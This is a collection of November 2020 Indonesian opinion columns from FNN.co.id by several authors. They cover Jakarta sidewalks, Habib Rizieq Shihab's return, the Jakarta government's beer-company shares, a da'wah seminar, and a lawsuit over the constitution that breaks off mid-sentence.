by Asyari Usman Jakarta FNN - Senin (16/11). Halo, Pak Gub. Assalam alaikum wr wb. Sehat kan, Bro? Semoga. Walaupun hari-hari pusing, tidak apa-apa. Itu kan pusing untuk Jakarta yang lebih mantap. Nikmati saja, Bro. Ini saya sedang bertamu ke Jakarta. Untuk pertemuan bulanan dengan kawan-kawan Redaksi dan Wartawan FNN.co.id. dua hari lalu. Saya menginap di Cikini. Tapatnya di hotel Ibis budget aja. Antara sengaja dan kemauan dompet. Namun saya juga sengaja ke Cikini untuk “inspeksi”. Apakah Ente hanya memoles kawasan “Financial Square” saja. Alhandulillaah, ternyata tidak. Cikini pun ikut berbeda sekarang. Tadi saya keluar mencari sarapan. Sambil mencoba trotoar (pavement). Terima kasih ya Bro. Sudah sama dengan trotoar yang di London. Saya menggunakan trotoar London lebih dari 30 tahun, ketika menjadi wartawan BBC London. Disana Bro, urusan saja trotoar bisa menjatuhkan walikota London. Kalau sempat pejalan kaki mengalami kecelakaan akibat permukaan trotoar yang bergelombang. Apalagi berlubang-lubang. Cikini sangat ok. Ada garis. Yang kuning terbuat dari pavement block. Cukup lebar. Tidak perlu berjalan miring kalau berpapasan dengan pejalan yang lain. Sampai-sampai tadi saya lihat berkali-kali ojekers menggunakan trotoar. Meskipun hanya sebentar. Enggak tau kenapa mereka terlihat senang mengendara di trotoar. Mungkin saja karena menyenangkan. Mungkin juga karena lebar trotoar itu tadi Bro. Barangkali mereka pikir tidak mengganggu pejalan kaki yang lain. Terus, Bro, saya lihat ada “zebra cross” (lajur penyeberangan). Wow! Serius sekali Ente membangun Jakarta ini ya. Tetapi Bro, sayang sekali para pengendara tidak menghormati “zebra cross” itu. Saya sengaja tes mereka. Betul. Tidak ada yang mau melambatkan kecepatan. Apalagi berhenti. Nah, ini satu lagi aspek yang memusingkan Ente. Soal mentalitas pengendara. Mungkin ini yang paling repot Bro. Ente menghadapi mentalitas dan akhlak pengendara yang sejak lama tak pernah ada di Indonesia. Bagus juga nih dimasukkan ke kurikukum Revolusi Akhlak. Siapa tahu bisa berubah pelan-pelan. Kalau di London itu, semua pengendara akan berhenti ketika dari kejauhan mereka lihat ada pejalan kaki yang hendak menyeberang. Padahal, tidak ada sanksi apa-apa. Kecuali kalau mereka menabrak pejalan kaki yang sedang berada di “zebra cross”. Hukuman bisa sangat berat. Itu saja Pak Gub. Kali ini saya sengaja tidak sebut “Pak Anies”. Karena yang membangun Jakarta adalah Gubernurnya. Kebetulan saja saat ini Anies Baswedan yang menjadi Gubernur. Tentulah wajar mendapatkan salutasi. Sebab kalau bukan Anies di kursi Gubernur saat ini, bisa jadi lain hasilnya. Kemungkinan yang dibangun hanya budaya maki-maki dan bentak-bentak rakyat. Yang keluar isi kebon bintang dan isi toilet. Ok, Bro! Kapan-kapan saya akan balik lagi ke Jakarta untuk melihat jalan-jalan pelosok lainnya. Yang jelas, betul juga kata orang, Jakarta semakin enak sekarang. Penulis adalah Wartawan Senior FNN.co.id.

Negeri Mirzani Yang Harus Dibenahi

by M Rizal Fadillah Bandung FNN – Ahad (15/11). Nikita Mirzani ramai dibicarakan gara-gara melecehkan Habib Rizieq Shihab (HRS) yang pulang dari Mekakah Saudi Arabia. Sementara Abu Janda berakting jingkrak-jingkrak menggendangi Nikita Mirzani. Nikita Mirzani seperti dilindungi Polisi karena reaksi Ustad At Thuwailibi. Nikita pernah ditangkap di Hotel Kempinsky dalam kasus prostitusi. Publik pun ikut mengamati. Namun tidak berujung sampai ke pengadilan. Entah dimana mandegnya kasus penangkapan Nikita yang terkait kasus protitusi tersebut. Entah mendeg di polisi atau di jaksa? Yang pasti kasusnya hilang begitu saja. Seperti ditelan bumi begitu saja. Berbagai video kini beredar membuka data untuk melengkapi perilaku pelecehan yang dilakukan oleh Nikita Mirzani. Mulia dari tampilan saat berfoto sexy, hingga memberi uang kepada tukang parkir yang berujung pada fose tak senonoh. Sepertinya telah hilang rasa malu pada dirinya. Berucap dan berbuat semaunya. Suka-sekanya saja. Negeri Mirzani hanya sebutan saja. Hanya untuk menggambarkan tentang situasi negeri yang juga telah kehilangan rasa malu. Uang telah mampu membeli hampir semua kehormatan. State dignity yang tergadaikan karena kebutuhan akan pembiayaan. Siapapun boleh memakai apa saja di negeri ini, asal membawa uang. Uang kini telah menjadi patokan, rujukan dan sandaran utama dari persoalan bangsa dan negeri ini. Soal kooptasi atau aneksasi itu hanya konsekuensi saja. Ada tiga indikator karakter dari kondisi ini. Pertama, terjebak pada kesenangan duniawi semata. Sukses itu ditentukan oleh materi. Nilai-nilai spiritual, ruhani, dan agama menjadi terpinggirkan. Anggapannya hal itu urusan nanti. Sukses saat ini yang lebih penting. Time is money, time for an infrastructure 'boost'. Kedua, negeri dengan kekuasaan yang berbagi. Bagi-bagi kekuasaan atas dasar balas jasa dan dukung-mendukung. Cukong harus mendapat bagian proyek. Relawan harus dapat Komisaris dan lain jabatan berduit. Partai Politik mendapat Menteri. Rangkulan koalisi juga dapat bancakan. Kekuasan bersama “gotong royong”. Satu lubang rame-rame. Ketiga, aparat terlihat berebut untuk foto selfie dengan Mirzani, cukup ironi. Tragisnya, aparat yang bernyanyi "habibana" dianggap melanggar disiplin dan diborgol Polisi Militer (Polmil). Tetapi sejumlah aparat yang berfoto bersama Nikita dengan ceria malah dibiarkan begitu saja. Mestinya sama terkena sanksi dong. Artinya, Negeri Mirzani adalah negeri ketidakadilan. Gagasan besar Revolusi Mental gagal total. Sementara “Revolusi Moral dan Revolusi Akhlak” kini adalah pilihan. Dua gagasan revolusi yang terahir ini ya bisa menjadi alternatif untuk menyelesaikan berbagai persoalan bangsa. Meski demikian, masih butuh penjabaran dan konsistensi. Nikita Mirzani bebas untuk berbuat apa saja. Semaunya sesukanya saja. Terlihat dan terkesan kalau Nikita dilindungi. Menunjukkan cara penyelesaian masalah dengan memproduksi masalah baru. Masalah terus-menrus bertumpuk tanpa solusi yang jelas. Pemerintah bikin pusing sendiri, dan hasilnya rakyat pun semakin jengkel. Badut dan pelacur politik selalu bahagia berjoget-joget. Bu Megawati, benar kata banyak orang bahwa bukan Jakarta yang amburadul. Tetapi Negeri Mirzani pimpinan Pak Jokowi yang harus segera dibenahi. Disikat dan dicuci agar lebih baik dan bersih. Penulis adalah Pemerhati Politik dan Kebangsaan.

Bukan Nambah, Anies Malah Mau Jual Saham Bir

by Tony Rosyid Jakarta FNN – Ahad (15/11). Akhir pekan ini ramai di media memberitaan tentang kenaikan saham Pemprov DKI di perusahaan bir, PT. Delta Djakarta Tbk. Di website BEI/ITD diinformasikan bahwa pada bulan Oktober lalu saham Pemprov DKI di perusahaan bir PT. Delta Djakarta Tbk. naik menjadi 58,33%. Sebelumnya hanya 26,25%. Publik dibuat geger dan bertanya-tanya. Apa iya, Pemprov DKI nambah saham di perusahaan bir? Di tengah pandemi, Pemprov DKI mau mencari uang lewat jual beli minuman keras? Bukannya Anies dulu mau menjual saham Pemrov DKI di perusahaan bir itu? Kok malah sekarang nambah? Ternyata, terjadi kesalahan input data. Direktur PT. Raya Saham Register mengakui bahwa telah terjadi salah input data. Ia mengatakan bahwa jumlah saham Pemprov DKI masih tetap sama yaitu 26,25%. Atau 210.200.700 lembar saham. Sedangankan 58,33% atau 467. 061.150 lembar saham itu milik PT. Miguel Malaysia. Ternyata, inputnya terbalik. Bukannya mau menambah. Sebaliknya, Gubernur DKI Jakarta Anies Baswedan justru berencana untuk menjual seluruhnya saham milik Pemprov di perusahaan bir tersebut. Niat ini bahkan sudah ada sebelum Anies dilantik menjadi Gubernur DKI. Namun, upaya Anies untuk menjual saham bir itu tidak disetujui oleh DPRD. Menurut aturan, penjualan saham bir milik Pemprov di PT. Delta Djakarta Tbk itu harus disetujui oleh DPRD DKI. Kalau DPRD nggak setuju, maka nggak akan terjadi penjualan itu. Anies nggak bisa menjual secara sepihak, karena itu akan dianggap pelanggaran hukum. Anies sudah tiga kali mengajukan surat ke DPRD terkait dengan rencana penjualan saham milik Pemprov DKI di perusahaan bir PT. Delta Djakarta Tbk. Pertama, Surat Gubernur DKI Nomor 479/-1.822. Kedua, Surat Gubernur DKI Nomor 91/-1.822. Ketiga, Surat Gubernur DKI Nomor 177/-1.822. Ketiga surat gubernur ini ditolak oleh DPRD DKI. Ketua DPRD DKI Prasetyo Edy Marsudi mengatakan, "saya tidak akan menjual saham milik Pemprov DKI di PT. Delta Djakarta Tbk". Pernyataan Ketua DPRD DKI itu tegas dan gamblang! Apa alasannya? Jika dijual, Pemprov DKI nggak bisa mengontrol peredaran bir di masyarakat, katanya. Alasan yang aneh, mengada-ada, dan terkesan dibuat-buat. Kalau alasannya supaya bisa mengontrol peredaran, kenapa DKI tidak membeli saham di diskotik, pantai pijat, dan hotel yang sering dipakai untuk praktek prostitusi? Toh, supaya semuanya bisa terkontrol. Peredaran bir atau jenis minuman keras, itu ada aturannya. Soal pengawasan, bukan hanya tugas Pemprov, tetapi itu tugas aparat kepolisian. Masyarakat bisa membantu ikut mengawasi. Jika PT. Delta Djakarta Tbk melanggar, ya Pemprov DKI bisa mencabut ijin usahanya. Bagaimana mau cabut ijin pelanggaran kalau saham DKI masih ada 26,25%. Bisa hilang uang milik DKI ini. Justru, jika Pemprov DKI nggak punya saham, maka sewaktu-waktu jika PT. Delta Djakarta Tbk. melakukan pelanggaran, Pemda DKI nggak ada beban untuk mengambil langkah tegas. Diantaranya mencabut ijin usaha PT. Delta Djakarta Tbk. Karena itu, Anies berupaya keras untuk menjual saham Pemprov DKI di perusahaan bir tersebut. Dengan memiliki saham di PT. Delta Djakarta Tbk, Pemprov DKI justru bisa tersandera jika terjadi pelanggaran edar yang dilakukan perusahaan bir tersebut. Pemprov DKI tak bisa semena-mena mencabut ijin usahanya, karena masih memiliki saham 26,25%. Bagi PT. Delta Djakarta Tbk, ini keuntungan pertama. Keuntungan kedua, terkait regulasi. Kalau ada saham milik Pemprov DKI, maka otomatis keberadaan PT. Delta Djakarta Tbk itu legal. Keberadaannya sah secara hukum. Nggak mungkin Pemprov DKI punya saham di perusahaan ilegal. Bagi konsumen bir, jaminan legal itu sangat penting. Pahami itu Keuntungan ketiga, PT. Delta Djakarta Tbk. bisa memanfaatkan berbagai akses yang dimiliki Pemprov DKI dalam memasarkan produknya. Adanya saham Pemprov DKI di PT. Delta Djakarta Tbk akan menjadi pertimbangan penting bagi konsumen. Dengan berbagai keuntungan ini, PT. Delta Djakarta Tbk. akan berusaha sekuat tenaga mempertahankan saham yang milik Pemprov DKI. Apapun caranya. Alasan utama Anies mengapa tak pernah berhenti berupaya menjual saham Pemprov DKI di PT. Delta Djakarta Tbk tersebut, karena ini aspirasi warga Jakarta. Warga Jakarta yang minta agar Anies menjual saham Pemprov DKI itu. Warga Jakarta nggak mau pemerintah DKI ikut bisnis haram. Dan harus dimaklumi, warga DKI Jakarta mayoritas beragama Islam. Bagi umat Islam, minum bir itu haram, apalagi bisnis bir. Karena ini negara demokrasi, kita mesti hargai aspirasi itu. Terutama DPRD, harus buka telinga dan mata. Mau menyerap aspirasi mayoritas warga Jakarta itu. DPRD itu wakil rakyat. Bukan wakil PT. Delta Djakarta Tbk. Ini yang harus diingatkan. Alasan Prasetyo, Ketua DPRD DKI mempertahankan saham bir milik Pemprov DKI agar bisa mengawasi peredarannya, ini nggak masuk akal. Kalau ada seseorang membuat alasan nggak masuk akal, publik patut curiga. Adakah yang disembunyikan di balik alasan itu? Nah, ini menarik. Salah input data saham Pemprov DKI di PT. Delta Djakarta Tbk yang sedang ramai dibicarakan publik ini bisa menjadi momentum bagi warga DKI untuk mendesak DPRD agar menyetujui permintaan Anies, Gubernur Jakarta untuk menjual saham milik Pemprov di perusahaan bir di PT. Delta Djakarta Tbk. Masyarakat mesti bicara ke media. Memberi dukungan kepada Anies untuk menjual saham tersebut. Bila perlu, puluhan ribu massa datang ke gedung DPRD dan mendesak wakil rakyat itu menyetujui penjualan saham bir yang sudah tiga kali diajukan oleh gubernur DKI tersebut. Ingatkan pada para anggota DPRD bahwa mereka wakil rakyat. Bukan wakil konglomerat bir. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Wapres Ma’ruf Amin Siap Bertemu Habib

by Asyari Usman Jakarta FNN - Minggu (15/11). Menyusul kepulangan Habib, rekonsiliasi menjadi salah satu topik yang tampaknya mengganggu sejumlah petinggi. Kepala KSP Jenderal Moeldoko mengatakan tidak perlu ada rekonsiliasi antara penguasa dan Habib. Karena, menurut Pak Moel, tidak ada masalah antara pemerintah dengan Habib. Tetapi, KKSP mengatakan itu setelah Habib memaparkan syarat-syarat rekonsiliasi yang dianggap berat. Habib menuntut pembebasan para ulama, aktivis politik, aktivis buruh, mahasiswa dan pelajar yang ditahan penguasa. Namun, kelihatannya para penguasa akan menghindar dari tuntutan ini. Sebab, kemungkinan mereka merasa arogansinya menjadi runtuh. Para penguasa tidak mau terlihat lemah. Statement gaya Moeldoko itu adalah cara untuk mengelak yang ‘elegant’. Hanya saja, rakyat menilai pemerintah terkesan ingin terus memelihara kegaduhan. Karena, pernyataan Pak Moel tentang “tidak ada masalah dengan Habib” pastilah mengerutkan dahi semua orang. Kenapa enteng sekali mengatakan tidak ada masalah. Bukankah Habib terpaksa meninggalkan Indonesia selama hampir tiga tahun itu gara-gara dipersekusi oleh berbagai institusi pemerintah? Untunglah pemerintah itu bukan Moeldoko saja. Artinya, tidak semua orang di tubuh pemerintahan mengedepankan arogansi. Wapres Kiyai Ma’ruf Amin, misalnya, melepaskan sinyal bahwa beliau siap bertemu dengan Habib. Sungguh-sungguh isyarat dari Pak Kiyai itu bernilai “statesmanship”. Menunjukkan kenegarawanan beliau. Pak Kiyai tidak ikut-ikutan bersikap ‘rejectionist’. Beliau tidak menutup diri. Pak Kiyai menunjukkan kepahaman tentang “how to lead a country” (bagaimana memimpin sebuah negara). Beliau mengerti bahwa memimpin bukan menggiring dan menghardik. Pak Kiyai tahu bahwa memimpin adalah memberikan ruang. Itulah yang kelihatannya mendorong Kiyai Ma’ruf untuk membuka diri bertemu dengan Habib. Kalau mau diletakkan di dalam konteks politik, Pak Kiyai melihat Habib sebagai realitas dan entitas yang tidak mungkin diabaikan. Umat akan mengapresiasi Kiyai Ma’ruf atas kesediaan beliau bertemu dengan Habib. Orang-orang dekat Pak Kiyai mengatakan pertemuan antara kedua tokoh penting itu akan segera dilaksanakan. Penulis adalah Wartawan Senior FNN.co.id

Da'wah Perlu Memahami Peta Peradaban

by Dr Adian Husaini Jakarta FNN - Sabtu (14/11). Dalam acara Seminar Nasional dan Pelantikan Pengurus Dewan Da'wah Kota Tengerang Selatan, di Ciputat, Tangsel, Sabtu (4/11), saya berkesempatan hadir bersilaturahmi sekaligus menjadi pembicara dalam acara tersebut. Dalam berda'wah umat Islam perlu memahami peta peradaban; bukan hanya memahami percaturan politik global dan peta politik nasional.Dalam konteks percaturan peradaban saat ini, maka siapa pun presiden Indonesia, umat Islam tetap menghadapi tantangan hegemoni peradaban modern yang didominasi nilai-nilai sekuler. Lihat saja, gonta-ganti presiden, gonta-ganti menteri, konsep pendidikan, ekonomi, pembangunan tidak berubah. Teori tentang asal-usul manusia Indonesia, dalam buku-buku ajar sekolah, tetap dikatakan bahwa manusia Indonesia berasal dari perkembangan makhluk sejenis kera. Begitu juga ukuran kemajuan suatu bangsa, tetap ditentukan atas dasar materi, pendapatan per kapita. Tidak ada unsur iman, taqwa dan akhlak mulia, menjadi indikator keberhasilan pembangunan, ujarnya. Oleh karena itu saya mengajak para aktivis da'wah di lingkungan keluarga besar Dewan Da'wah untuk mengembangkan cakrawala berpikir, jauh ke depan. Dewan Da'wah memiliki visi perjuangan mewujudkan Indonesia adil dan makmur tahun 2045. Dalam konteks pembangunan peradaban, Dewan Da'wah sedang berjuang mewujudkan institusi-institusi da'wah yang terbaik, terutama institusi pendidikan. Saya mengajak para pengurus dan jamaah Dewan Da'wah untuk mensyukuri karunia Allah yang diwariskan oleh para pendiri Dewan Da'wah, yaitu: warisan intelektual, aset-aset da'wah dan warisan keteladanan. Ada beberapa contoh keteladanan para tokoh Dewan Da'wah, khususnya Mohammad Natsir yang perlu kita tiru. Keteladanan itu mulai dari pemikiran dan sikap sebagai negarawan, sampai perilaku sehari-hari. Karena itulah, saya mengajak seluruh pengurus dan jamaah Dewan Da'wah Tangerang Selatan khususnya, agar bekerja keras mewujudkan Dewan Da'wah sebagai organisasi da'wah profesional. Dalam menjalankan da'wah, jangan ada sikap patah arang. Pak Natsir menjelaskan, bahwa da'wah itu seperti akar pohon yang lembut yang menembus celah-celah batu karang. Lama-lama, batu karang itu terbelah oleh akar pohon. Jadi, sekecil apa pun da'wah, tetap harus dilakukan. Nabi Muhammad SAW mengajak para tokoh musyrikin Quraisy, Yahudi dan Nasrani untuk berdialog dan untuk masuk Islam. Akhirnya, banyak diantara mereka yang masuk Islam dan menjadi sahabat Nabi terkemuka, seperti Umar bin Khathab, Khalid bin Walid, dan sebagainya. Jadi, ajaklah tokoh-tokoh non muslim di Tangerang Selatan ke dalam Islam dengan cara-cara yang baik. Musyawarah Daerah Dewan Da’wah Kota Tangerang Selatan pada 27 September 2020 telah memilih H Ade Salamun MSi sebagai Ketua Majelis Syuro dan Arief Jamaludin MSi sebagai Ketua Pengurus Masa Khidmat 2020-2024. Dewan Da’wah Kota Tangerang Selatan diharapkan menjadi salah satu model percontohan kepengurusan tingkat kota, agar menjadi benchmark secara nasional. Untuk menandai tekad tersebut, pelantikan pengurus Dewan Da’wah Tangsel dikemas dengan acara seminar nasional yang disertai launching produk wakafkeummatan. Produk wakaf yang dilaunching adalah Produk Air Mineral ‘’AMITRA". Hasil penjualan air mineral tersebut sepenuhnya digunakan untuk kegiatan dakwah. Pada kesempatan seminar tersebut saya menguraikan tentang High Values M Natsir dalam Strategi Politik dan Da'wah. Sedangkan saudara Jaka Setiawan, peneliti Dewan Dakwah Tangsel, mempresentasikan tentangdampak Hasil Pilpres Amerika Serikat bagi Indonesia. Semoga bermanfaat. Penulis, Ketua Umum Dewan Da'wah Islamiyah Indonesia.

Ada Peran Prabowo Saat Pemulangan HRS?

by Mochamad Toha Surabaya FNN - Sabtu (14/11). Kabar itu datang dari Sekjen DPP Partai Gerindra Ahmad Muzani. Ia membenarkan bahwa pihaknya mengajukan pemulangan pimpinan FPI Habieb Rizieq Shihab (HRS) ke Tanah Air sebagai syarat rekonsiliasi pasca-Pilpres 2019. Seperti dilansir dalam akun FB Fraksi Partai Gerindra, Jum’at (13/11/2020), Muzani juga tak membantah ketika ditanya apakah Prabowo Subianto telah mengajukan syarat itu ke Presiden Joko Widodo. Tidak hanya pemulangan HRS, Prabowo juga meminta pemerintah membebaskan sejumlah tokoh pendukung yang ditangkap karena terjerat kasus hukum. “Ya keseluruhan (pemulangan HRS), bukan hanya itu. Tapi, keseluruhan bukan hanya itu. Kemarin kan banyak ditahan ratusan orang. Lagi diproses-proses. Ya segala macamlah ya,” ujar Muzani, Menurut Muzani, pertemuan antara Prabowo dan Jokowi sebagai langkah awal rekonsiliasi juga harus dilihat sebagai proses islah atau perdamaian. Proses islah, kata Muzani, tidak dapat terjadi jika masih terdapat dendam di tengah masyarakat. Sehingga, pihak yang menjadi pemenang pada Pilpres 2019 diharapkan tidak merasa menjadi penguasa yang dapat bertindak apa saja. Selain itu, Muzani juga menegaskan, jangan sampai proses rekonsiliasi menjadi sekadar wacana dan dagangan politik. “Islah yang sekarang harus dilakukan itu harus meniadakan dendam, harus meniadakan, saya pemenang dan kamu yang kalah. Saya penguasa, kamu yang dikuasai. Saya yang benar kamu yang salah sehingga islah itu tidak akan terjadi kalau dendam yang seperti itu masih terjadi,” kata Muzani. “Rekonsiliasi tidak mungkin bisa terjadi kalau kemudian suasana dan pikiran itu juga terjadi. Suasana itu harus diredakan, harus dikendurkan, sehingga islah tersebut menjadi sesuatu yang kuat,” ucapnya. Benarkah yang disampaikan Muzami tersebut? Jika melihat jejak digital, apa yang diucapkan Muzani itu mengandung kebenaran. Setidaknya seperti yang disampaikan oleh Dahnil Anzar Simanjuntak, mantan Koordinator Jubir BPN Prabowo Subianto-Sandiaga Uno. Seperti dilansir Detik.com, Minggu (14 Jul 2019 11:42 WIB), Dahnil Anzar Simanjuntak menjelaskan alasan mengapa Prabowo mau bertemu dengan Jokowi. Salah satunya, diyakini Dahnil sebagai upaya untuk memulangkan HRS ke Indonesia. Hal itu disampaikan Dahnil dalam sebuah video yang dibagikan di channel YouTube-nya, Minggu (14/7/2019). Dahnil mulanya mengatakan bahwa Prabowo bertemu Jokowi salah satunya untuk memastikan tidak adanya dendam politik di masa yang akan datang. Dahnil percaya penuh dengan komitmen kebangsaan Prabowo. “Dan beliau tidak akan pernah mengkhianati pendukungnya, semua harapan para pendukungnya untuk hanya sekedar kursi menteri misalnya. Saya meyakini itu,” tegas Dahnil. “Kepentingannya adalah tentu untuk kepentingan bangsa yang lebih luas, kepentingan beliau adalah untuk menyelamatkan para pihak yang rentan, rentan dalam berbagai hal,” lanjutnya. Rentan tertuduh, rentan kriminalisasi, rentan macam-macam. “Kepentingan beliau itu. Untuk memastikan semua pihak itu tidak lagi punya dendam politik di masa yang akan datang,” kata Dahnil. Cara menghilangkan dendam politik itu, lanjut Dahnil, dengan membuka portal yang selama ini menghambat kepulangan HRS ke Indonesia. Sehingga, Imam Besar FPI itu bisa pulang ke Indonesia dan kembali berdakwah. “Termasuk salah satunya adalah ketika saya melontarkan pentingnya pemerintah membuka portal yang menghambat kepulangan Habieb Rizieq. Kenapa?” kata Dahnil. Karena, ketika ada upaya membuka portal itu, Habieb Rizieq bisa bergabung di negeri ini kemudian berdakwah seperti biasa normal, kemudian berkomunikasi sebagai tokoh dengan pemerintah. Baik itu dalam memberikan saran, kritik dan sebagainya,” lanjutnya. “Maka beliau punya peran sebagai anak bangsa, dan di sisi lain kita bisa guyub lagi sebagai bangsa. Kenapa? Karena tidak ada lagi dendam politik. Pemerintah berusaha merangkulnya, kemudian kita berusaha berperan sesuai peran kita masing-masing,” tutur Dahnil. Menurut Ketua Pemuda Muhammadiyah itu, selama ini komitmen untuk membawa pulang HRS ke Indonesia selalu ditunjukkan oleh Prabowo. Karena itu, Dahnil meyakini persoalan kepulangan HRS menjadi salah satu latar belakang Prabowo mau bertemu dengan Jokowi. “Jadi sahabat sekalian, itu komitmen. Saya yakin komitmen yang ditunjukkan Pak Prabowo. Kalau ada yang bilang, bisa nggak, bener nggak, HRS menjadi salah satu apa permintaan Pak Prabowo terkait dengan upaya beliau berkomunikasi dengan pihak pemerintah?” “Ya itu adalah bagian penting, karena HRS bagi Pak Prabowo itu adalah tokoh penting. Beliau punya banyak pengikut, dengan kepulangan beliau kita bisa membantu mengubur dendam yang selama ini muncul,” ujar Dahnil. Sebelumnya, Sabtu (14/7/2019), Jokowi dan Prabowo bertemu di MRT dari Stasiun MRT Lebak Bulus menuju Senayan. Mereka duduk berdampingan dan sempat ngobrol-ngobrol santai sepanjang perjalanan. Dari Stasiun MRT Senayan, keduanya berjalan kaki menuju Fx Sudirman untuk makan siang bersama sebelum kemudian berpisah satu sama lain. Dus, singkat cerita, pasca pertemuan di MRT itulah Prabowo akhirnya ditunjuk sebagai Menteri Pertahanan RI. Jejak digital lainnya, iNews.id, Selasa (12 November 2019 - 13:59 WIB), Menhan Prabowo menemui Presiden Jokowi di Istana Kepresidenan, Jakarta. Kedatangannya antara lain untuk membahas kemungkinan kepulangan HRS dari Arab Saudi. “Nanti kita ini ya, kita pelajari dulu, saya belum dengar,” kata Prabowo, Selasa (12/11/2019). Mantan Komandan Jenderal Kopassus tersebut belum menjelaskan rinci mengenai hal tersebut. Prabowo langsung menuju kantor Presiden. Prabowo pada Pilpres 2019 lalu meneken pakta integritas yang disodorkan forum Ijtima Ulama II GNPF. Pakta integritas itu berisi 17 poin yang salah satunya berisi kesanggupan Prabowo memulangkan dan menjamin HRS. HRS pergi ke Arab Saudi sejak 26 April 2017 untuk menjalankan ibadah umrah. Pada saat sama, kepolisian akan memeriksanya terkait kasus 'baladacintarizieq'. Pada Juni 2018, polisi menghentikan penyidikan kasus ini. Tapi, hingga kala itu HRS tak kunjung pulang ke Indonesia. Dalam konferensi pers di Jakara, Senin (11/11/2019), keluarga mengeklaim HRS sudah tiga kali berusaha pulang ke Indonesia, namun selalu ditangkal Pemerintah Indonesia. Prabowo hari itu juga dijadwalkan menerima beberapa duta besar (dubes) negara sahabat termasuk Dubes Arab Saudi untuk Indonesia Esam A. Abid Althagafi. Apakah juga akan membahas kepulangan Rizieq? Prabowo tak memastikan. “Mudah-mudahan nanti kita lihat,” ucap Prabowo. HRS mengaku tidak bisa pulang karena sejumlah alasan pertama terkait masalah izin tinggal di Arab Saudi. Dubes RI untuk Arab Saudi Agus Maftuh Abegebriel mengatakan HRS tidak bisa pulang karena tinggal di suatu tempat lebih lama dari masa yang diizinkan (overstay). Solusi atas overstay itu yakni membayar denda sebesar 15.000-30.000 riyal atau Rp110 juta per orang. Namun, pengacara HRS menyebut overstay bukan kesalahan kliennya. HRS sudah mencoba keluar dari Arab Saudi supaya visanya masih bisa berlaku. Tapi, ternyata tidak pernah berhasil. Prabowo sebelumya pernah berjanji akan memulangkan HRS saat musim kampanye Pilpres 2019. Bahkan, Prabowo mengatakan bakal mengirimkan pesawat pribadi untuk menjemput HRS jika terpilih menjadi presiden. “Dalam ijtimak yang kedua saya sudah mengatakan, begitu menang saya akan kembalikan HRS kembali. Saya akan kirim pesawat saya sendiri untuk menjemput beliau,” kata Prabowo, pada Februari 2019. Masalah kepulangan HRS kembali mencuat saat itu. HRS menunjukkan bukti yang diklaim sebagai surat pencekalan dari pemerintah Indonesia melalui siaran video di akun Youtube Font TV. Surat pencekalan itu ditunjukkan HRS untuk mengungkap alasannya tidak bisa pulang ke Indonesia. Dia mengklaim pencekalannya tidak berkaitan dengan kasus pidana apapun. HRS dalam video tersebut mengharapkan publik tidak mengasumsikan keberadaannya di Saudi karena masih ketakutan untuk pulang. Justru, kata dia, ada orang berkepentingan di balik pencekalan yang resah dengan kepulangannya. Namun, klaim HRS itu dibantah Menko Polhukam Mahfud MD. Ia menyatakan tak pernah melihat surat pencekalan yang diklaim HRS. Mahfud pun meminta HRS menunjukkan surat itu kepada dirinya. Hingga menjelang kepulangannya, 10 November 2020, itupun Dubes Agus dan Menko Mahfud masih membangun narasi “negatif” mengenai HRS. Jadi, “siapa” sebenarnya yang berusaha menghalangi kepulangan HRS? Tidak sulit untuk menjawab pertanyaan terakhir itu. Tinggal kita lihat saja, tokoh atau parpol mana yang sangat gundah dan gelisah dengan kepulangan HRS tersebut! Penulis, wartawan senior FNN.co id

Quo Vadis Peradilan Kita

by Zulkifli S Ekomei Jakarta FNN - Sabtu (14/11). Latar belakang saya menggugat UUD 45 palsu melalui pengadilan, tidak menempuh cara lain adalah, bahwa Indonesia ini adalah negara hukum. Negara hukum (Rechtstaat) adalah negara yang menempatkan hukum sebagai panglima, "Equality before the law" semua berkedudukan sama di depan hukum. Hal ini sesuai konsitusi kita bahwa "Hak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di depan hukum." Sehingga semua persoalan hukum sudah seharusnya diselesaikan di lembaga peradilan, dan tentu saja gugatan saya memakai dasar adanya temuan perbuatan melawan hukum yang dilakukan oleh MPR periode 1999-2004 yang diketuai oleh Amien Rais, yaitu adanya Ketetapan MPR tanpa nomor tertanggal 10 Agustus 2002. Saya ingin update perkembangan apa yang saya alami selama mengikuti semua acara persidangan, sehingga bisa menjadi pelajaran bagi semua pihak yang akan beracara di lembaga peradilan. Beberapa catatan yang ingin saya sampaikan adalah: Pertama, soal waktu, jadwal persidangan ternyata molor, dan ini sepertinya sudah menjadi kebiasaan, awalnya waktu yang disepakati adalah jam 10.00, tetapi molor menjadi jam14.00 atau bahkan lebih, sehingga tidak ada seorangpun bisa memprotes termasuk saya, karena seolah sudah menjadi budaya. Kedua, ada beberapa pertanyaan muncul ketika pengadilan gagal menghadirkan prinsipal dalam sidang mediasi. Para tergugat dan turut tergugat hanya diwakili penasehat hukumnya, dan akhirnya mediasi gagal. Lalu saya selaku penggugat menyatakan secara resmi bahwa proses mediasi gagal sehingga persidangan dilanjutkan. Ketiga, sebagai lanjutannya saya mengikuti acara sidang berikutnya yaitu pembacaan gugatan, kemudian sidang pembacaan eksepsi dari tergugat dan turut tergugat, selanjutnya sidang pembacaan replik dari pihak penggugat, diteruskan dengan sidang pembacaan duplik dari pihak tergugat dan turut tergugat dan diakhiri dengan pembacaan putusan sela. Ada kejadian menarik, pada saat sidang pembacaan putusan sela tanggal 11 Agustus 2020, hakim menunda persidangan, dengan alasan karena ada urusan keluarga sehingga belum siap membacakan putusan sela, setelah itu terjadilah penundaan demi penundaan sampai akhirnya terjadi sidang pembacaan putusan sela tanggal 3 November 2020. Dalam sidang pembacaan putusan sela majelis hakim menyatakan bahwa pengadilan tidak berwenang mengadili gugatan saya menolak UUD'45 palsu. Setelah membacakan putusan sela, hakim menanyakan pada pihak tergugat dan pihat turut tergugat apakah menerima putusan sela, mereka menyatakan menerima, kemudian menanyakan pada pihak penggugat apakah menerima atau melakukan perlawanan terhadap putusan sela tersebut, spontan saya menjawab akan melakukan perlawanan, lalu saya diberikan waktu 2 minggu untuk menyatakan perlawanan dan berkas putusan sela bisa diambil paling lambat 3 hari setelah sidang. Tanggal 12 November kemudian, saya mengambil berkas putusan sela di Pelayanan Terpadu Satu Pintu, ajaibnya ternyata berkas belum turun, setelah dicek di Panitera, berkas putusan sela belum ditandatangani hakim karena cuti sampai tanggal 16 Nopember 2020. Sampai disini, saya hanya bisa mengambil nafas panjang….ternyata saya hanya punya waktu satu hari untuk mengajukan perlawanan terhadap putusan sela. Saya tidak akan menyerah karena gugatan menolak UUD'45 palsu ini 